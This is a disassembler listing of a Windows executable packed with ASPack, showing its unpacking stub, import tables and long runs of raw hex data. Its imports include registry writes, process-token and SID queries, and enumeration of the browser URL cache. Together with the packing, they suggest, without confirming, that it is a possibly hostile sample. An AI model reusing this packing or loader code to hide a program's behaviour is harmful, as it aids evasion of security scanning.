0 dd 6544005Bh, 6E695766h, 50776F64h, 41636F72h, 0 dd 6143005Dh, 69576C6Ch, 776F646Eh, 636F7250h, 41h, 65470089h dd 6F745374h, 624F6B63h, 7463656Ah, 0 dd 655300CAh, 436B4274h, 726F6C6Fh, 0 dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h dd 6E65h, 6547001Ah, 6B6F5474h, 6E496E65h, 6D726F66h, 6F697461h dd 6Eh, 65520171h, 65724367h, 4B657461h, 78457965h, 41h dd 65520174h, 6F6C4367h, 654B6573h, 79h, 65520179h, 65704F67h dd 79654B6Eh, 417845h, 65520184h, 65755167h, 61567972h dd 4565756Ch, 4178h, 65520190h, 74655367h, 756C6156h, 41784565h dd 0 dd 654701CAh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CDh dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D4h, 746E4574h dd 73656972h, 63416E49h, 416Ch, 6547004Ah, 64695374h, 6E656449h dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh dd 64695374h, 41627553h, 6F687475h, 79746972h, 0 dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0 dd 735F01A6h, 63697274h, 706Dh, 626101F6h, 73h, 7865020Ah dd 7469h, 656D0253h, 706D636Dh, 0 dd 656D0254h, 7970636Dh, 0 dd 656D0256h, 7465736Dh, 0 dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h dd 0 dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h dd 666E6163h, 0 dd 74730271h, 74616372h, 0 dd 74730272h, 72686372h, 0 dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh dd 0 dd offset off_447000 aWininet_dll db 'WININET.DLL',0 dd offset off_447014 dd offset off_447014 aOle32_dll db 'ole32.DLL',0 align 4 dd offset off_447028 dd offset off_447028 dd offset off_447028 dd offset off_447028 aKernel32_dll_2 db 'KERNEL32.DLL',0 align 4 dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C dd offset off_44703C aUser32_dll_0 db 'USER32.DLL',0 align 4 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 dd offset off_447050 aGdi32_dll db 'GDI32.DLL',0 align 4 dd offset off_447064 dd offset off_447064 dd offset off_447064 dd offset off_447064 dd offset off_447064 aAdvapi32_dll_1 db 'ADVAPI32.DLL',0 align 4 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 dd offset off_447078 aCrtdll_dll db 'CRTDLL.DLL',0 align 4 dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C dd offset off_44708C align 1000h _idata ends ; Section 5. (virtual address 00049000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00049000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _aspack segment para public 'DATA' use32 assume cs:_aspack ;org 449000h db 90h ; =============== S U B R O U T I N E ======================================= public start start proc near pusha call sub_449577 jmp short loc_449055 ; --------------------------------------------------------------------------- align 4 dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0) dd 4900001h, 0AD000000h, 0AB000000h, 809A5100h, 809AE47Ch dd 7Ch, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_449055: ; CODE XREF: start+6j mov ebx, offset dword_4439A4 add ebx, ebp sub ebx, ss:dword_4439D5[ebp] cmp ss:dword_444804[ebp], 0 mov ss:dword_444804[ebp], ebx jnz loc_4494DB lea eax, dword_44480C[ebp] push eax call ss:dword_444918[ebp] mov ss:dword_444808[ebp], eax mov edi, eax lea ebx, dword_444819[ebp] push ebx push eax call ss:dword_444914[ebp] mov ss:dword_4439E1[ebp], eax lea ebx, dword_444826[ebp] push ebx push edi call ss:dword_444914[ebp] mov ss:dword_4439E5[ebp], eax lea eax, dword_443B72[ebp] jmp eax ; --------------------------------------------------------------------------- align 10h dd 40h, 2 dup(0) dd 70000000h, 12190004h, 2 dup(0) dd 10000000h, 0B6F80000h, 0B0000000h, 0BB040003h, 70000000h dd 10540004h, 36h dup(0) dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h dd 4468B00h, 10E05h, 68046A00h, 1000h, 0FF006A50h, 4439E195h dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh dd 76FF0044h, 0E8535004h, 339h, 39D4BD80h, 75000044h, 0D485FE5Ch dd 8B004439h, 4BD033Eh, 0FF004448h, 0C307C637h, 78FD7FFh dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh dd 75013E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h dd 4439D9B5h, 2F9C100h, 0C88BA5F3h, 0F303E183h, 685EA4h dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h dd 3FB8316h, 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h, 3107E8Bh dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h dd 3047580h, 534343DAh, 0FFFFE381h, 0FF537FFFh, 4439B1B5h dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h dd 468B5716h, 485030Ch, 50004448h, 0D0858D53h, 50004448h dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h, 890689FFh dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4494DB: ; CODE XREF: start+6Ej mov eax, ss:dword_443A76[ebp] push eax add eax, ss:dword_444804[ebp] pop ecx or ecx, ecx mov ss:dword_443EA1[ebp], eax popa jnz short loc_4494FC mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4494FC: ; CODE XREF: start+4F1j push offset sub_401219 retn start endp ; --------------------------------------------------------------------------- aLeHd db '‹…',8,'HD',0 aNnahd db 'AHD',0 dw 5051h dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h dd 44491495h, 0F1858900h, 8B004439h, 44484D85h, 688D8D00h dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h, 8D306A5Fh dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h, 0ED95FFFFh db 39h, 44h, 0 ; =============== S U B R O U T I N E ======================================= sub_449577 proc near ; CODE XREF: start+1p mov ebp, [esp+0] sub ebp, offset byte_4439AB retn sub_449577 endp ; --------------------------------------------------------------------------- db 8Bh, 44h, 24h dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah dd 354C481h, 8BC30000h, 0C4812404h, 354h, 10C2h, 4030201h dd 8070605h, 100E0C0Ah, 201C1814h, 40383028h, 80706050h dd 0E0C0A0h, 0 dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah dd 8B084289h, 47A89C7h, 0D273C13Bh, 4728B5Bh, 8B08428Bh dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h dd 84h, 7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h, 0FF81F803h dd 1000000h, 24247C89h, 8E870Fh, 448B0000h, 7D892834h dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h, 758B4D7Ch dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h, 0CE8B10EEh dd 0FF25h, 3CB2B00h, 8BD88AFBh, 89FB8AD1h, 8B1C2474h, 24748BC3h dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h dd 98h, 8B0004C2h, 8482h, 85C93300h, 8B3B76C0h, 0AC24B4h dd 48A0000h, 74C08431h, 88BA8B22h, 25000000h, 0FFh, 6884448Bh dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h, 0F9830450h dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch, 0D21B2846h dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h, 0EB000000h dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h dd 8904428Dh, 440C708h, 20h, 89104289h, 0A082h, 30828900h dd 89000001h, 1C082h, 0B9C03300h, 0BDh, 2508289h, 82890000h dd 254h, 2588289h, 0BA8B0000h, 260h, 25C8289h, 0ABF30000h dd 0E8AACA8Bh, 4, 8C25Fh, 30CEC81h, 8B530000h, 8D5655D9h dd 6A57046Bh, 0E8CD8B01h, 0FFFFFC29h, 0E75C085h, 260BB8Bh dd 0BDB90000h, 0F3000000h, 0F633AAABh, 0CD8B046Ah, 0FFFC0CE8h dd 344488FFh, 0FE834610h, 8DED7213h, 1C0BBh, 24448D00h dd 0CF8B5010h, 0FFFC80E8h, 75C084FFh, 5D5E5F0Bh, 0CC4815Bh dd 0C3000003h, 0CF8BF633h, 0FFFDE4E8h, 10F883FFh, 8B8B1573h dd 260h, 231148Ah, 0FE280D0h, 24345488h, 7560EB46h, 8B026A28h dd 0FBB3E8CDh, 0C083FFFFh, 7EC08503h, 0F5FE814Eh, 7D000002h dd 344C8A52h, 4C884823h, 85462434h, 0EBEA7FC0h, 11F88336h dd 36A0E75h, 86E8CD8Bh, 83FFFFFBh, 0CEB03C0h, 0CD8B076Ah dd 0FFFB78E8h, 0BC083FFh, 137EC085h, 2F5FE81h, 177D0000h dd 243444C6h, 85484600h, 81ED7FC0h, 2F5FEh, 738C0F00h dd 8DFFFFFFh, 8D242454h, 0E852104Bh, 0FFFFFBD5h, 0B75C084h dd 5B5D5E5Fh, 30CC481h, 8DC30000h, 2F52484h, 8B8D0000h dd 0A0h, 0FBB3E850h, 0C084FFFFh, 5E5F0B75h, 0C4815B5Dh dd 30Ch, 248C8DC3h, 311h, 308B8D51h, 0E8000001h, 0FFFFFB91h dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 0C6C30000h, 26483h dd 0C0330000h, 1104BC80h, 3000003h, 83400875h, 0F07208F8h dd 83C607EBh, 264h, 60838B01h, 8D000002h, 0BE24244Ch, 2F5h dd 1088118Ah, 754E4140h, 5D5E5FF7h, 815B01B0h, 30CC4h dd 1E8C300h, 90000000h, 5BEE815Eh, 0C3004445h, 8B14EC83h dd 531C2444h, 0C75655h, 0 dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h dd 104E8D00h, 0FFFC7CE8h, 1003DFFh, 13730000h, 1880E8Bh dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh dd 50000h, 8BFFFFFFh, 7E083E8h, 8D03EDC1h, 0F8830250h dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC2FE800h dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh, 443FABh dd 8F9835Eh, 4E8B3272h, 41118A04h, 18245488h, 8B044E89h dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh dd 8B90C56h, 2B000000h, 0D3FB03CFh, 18B9EAh, 7E890000h dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh dd 3F8F308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 0C735948Ah dd 5E00443Fh, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h dd 8F883FDh, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B1C24h, 4468908h, 1C24448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 7E8B0846h dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh dd 0FFFFFFh, 8E8DEFD3h, 130h, 0FFFB14E8h, 8DC303FFh, 5BEBF81Ch dd 8087E83h, 468B3172h, 0C568B04h, 8A08E2C1h, 4C884008h dd 4E8B2024h, 4468908h, 2024448Bh, 0FF25h, 0F8C18300h dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h, 468B0856h dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh, 85000002h dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h dd 250968Bh, 4B8D0000h, 588689FDh, 89000002h, 25496h, 508E8900h dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF0h, 1C74C084h dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h, 0B05D5E5Fh dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 0 dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h, 6C6C642Eh dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h dd 69784500h, 6F725074h, 73736563h, 0 dd 65737500h, 2E323372h, 6C6C64h, 7373654Dh, 42656761h dd 41786Fh, 72707377h, 66746E69h, 4F4C0041h, 52454441h dd 52524520h, 5400524Fh, 70206568h, 65636F72h, 65727564h dd 746E6520h, 70207972h, 746E696Fh, 20732520h, 6C756F63h dd 6F6E2064h, 65622074h, 636F6C20h, 64657461h, 206E6920h dd 20656874h, 616E7964h, 2063696Dh, 6B6E696Ch, 62696C20h dd 79726172h, 732520h, 20656854h, 6964726Fh, 206C616Eh dd 63207525h, 646C756Fh, 746F6E20h, 20656220h, 61636F6Ch dd 20646574h, 74206E69h, 64206568h, 6D616E79h, 6C206369h dd 206B6E69h, 7262696Ch, 20797261h, 90007325h, 7C80ADA0h dd 7C80B6A1h, 7C801D77h, 0 aKernel32_dll_3 db 'kernel32.dll',0 db 2 dup(0), 47h aEtprocaddress db 'etProcAddress',0 align 10h aGetmodulehandl db 'GetModuleHandleA',0 db 2 dup(0), 4Ch aOadlibrarya db 'oadLibraryA',0 dd 3 dup(0) dd 49F80h, 49F70h, 3 dup(0) dd 4A074h, 4A0C4h, 3 dup(0) dd 4A081h, 4A0CCh, 3 dup(0) dd 4A08Dh, 4A0D4h, 3 dup(0) dd 4A097h, 4A0DCh, 3 dup(0) dd 4A0A2h, 4A0E4h, 3 dup(0) dd 4A0ACh, 4A0ECh, 3 dup(0) dd 4A0B9h, 4A0F4h, 5 dup(0) aOleaut32_dll db 'oleaut32.dll',0 aWininet_dll_0 db 'wininet.dll',0 aOle32_dll_0 db 'ole32.dll',0 aUser32_dll_1 db 'user32.dll',0 aGdi32_dll_0 db 'gdi32.dll',0 aAdvapi32_dll_2 db 'advapi32.dll',0 aCrtdll_dll_0 db 'crtdll.dll',0 dd 77124C05h, 0 aB_1 db '=ÞÂB',0 align 4 dd 774FFAC3h, 0 aC_0 db '+!C~',0 align 4 dd 77F161D1h, 0 aSwW db 'SwÝw',0 align 4 aIoS db 'ëoÙs',0 align 4 db 0 align 2 aSysallocstring db 'SysAllocString',0 db 2 dup(0), 46h aIndfirsturlcac db 'indFirstUrlCacheEntryA',0 align 4 dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 57746547h dd 6F646E69h, 78655477h, 4174h, 74654700h, 636F7453h, 6A624F6Bh dd 746365h, 704F0000h, 72506E65h, 7365636Fh, 6B6F5473h dd 6E65h, 74695F00h, 616Fh, 3A2h dup(0) _aspack ends ; Section 7. (virtual address 0004C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0004C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 44C000h dd 80h dup(0) align 1000h _idata2 ends end start